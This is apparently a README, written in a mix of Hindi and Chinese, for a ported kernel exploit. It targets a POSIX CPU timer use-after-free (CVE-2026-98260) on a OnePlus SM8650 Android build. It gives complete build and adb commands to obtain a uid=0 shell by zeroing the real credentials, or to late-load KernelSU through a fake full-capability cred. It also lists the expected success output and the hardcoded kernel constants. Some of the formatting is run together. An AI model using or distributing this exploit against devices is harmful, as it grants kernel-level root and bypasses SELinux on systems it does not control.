
SM8650 डिवाइसों पर नकली क्रेडेंशियल्स के माध्यम से uid=0 शेल या KernelSU लेट-लोड प्राप्त करने वाला, CVE-2026-98260 के लिए Android kernel POSIX CPU timer use-after-free एक्सप्लॉइट।
6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k(OnePlus PKX110,SM8650/sun)的 CVE-2026-98260 POSIX CPU timer UAF 移植
两条链:
timer:वास्तविक cred शून्य लेखन → uid=0、u:r:shell:s0(shell डोमेन root,bset caps)timer fake:fake cred(पूर्ण caps)→ इंस्टॉल किया गया KernelSU libksud.so late-load| पथ | परिणाम |
|---|---|
वास्तविक cred शून्य लेखन + setuid(0) + exec sh | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
fake cred + ksud late-load | इंस्टॉल किया गया libksud.so(uapi 6)、KSU_LOADED、su का u:r:ksu:s0 |
u:r:shell:s0),可读 tracefs 与 /proc/slabinfome.weishu.kernelsu)时,fake 会自动使用其 lib/arm64/libksud.soNDK 28.2(aarch64,API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断
adb shell /data/local/tmp/timer ids # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak # 只做 base/cred/task 泄漏,不触发 UAF
# uid-0 shell(वास्तविक cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # इंटरैक्टिव sh
# KernelSU(fake cred + इंस्टॉल किया गया ksud)—— फ़ोरग्राउंड में चलाएँ, लॉग रीयल-टाइम में दिखेंगे
adb shell /data/local/tmp/timer fake
# "[!] fake cred page held; reboot to clean" दिखने के बाद आप सीधे टर्मिनल बंद कर सकते हैं
# (park करते समय SIGHUP/SIGINT/SIGTERM को अनदेखा किया गया है, प्रोसेस fake cred पेज को पकड़े रहती है, Ctrl-C/डिस्कनेक्ट से गलती से नहीं मरेगी)
# 若仍需在设备侧留存日志(同时实时显示):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'
fake 成功标志:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake 成功后父进程也会 park,用 socket 持有 fake cred 页timeout/kill,否则 init 回收 stale node 可能 panicpark_forever() 会忽略 SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE,因此前台运行时可安全地用 Ctrl-C 或关闭 adb 终端脱开;真正终止只能靠 SIGKILL(或重启)timer/timer.c exploit
timer/timer 静态产物
tools/*.c 移植诊断源码
关键常量写死在 timer/timer.c:do_timer_create/copy_process 站点、selinux_state、panic_on_warn、copy_process task cache 大小、init_* 符号
कर्नेल बदलते समय डिवाइस के boot.img/BTF/kallsyms से फिर से व्युत्पन्न करें; tools/ के अंतर्गत फ़ाइलें call site, raw record, timer लीक और 8 KiB AF_UNIX रिकवरी चैनल की जाँच के लिए हैं
woshigenm/CVE-2026-98260(MIT):trigger、real-cred 零写、fake cred/KSU 思路ghostlock-app:KernelSU late-load 最终阶段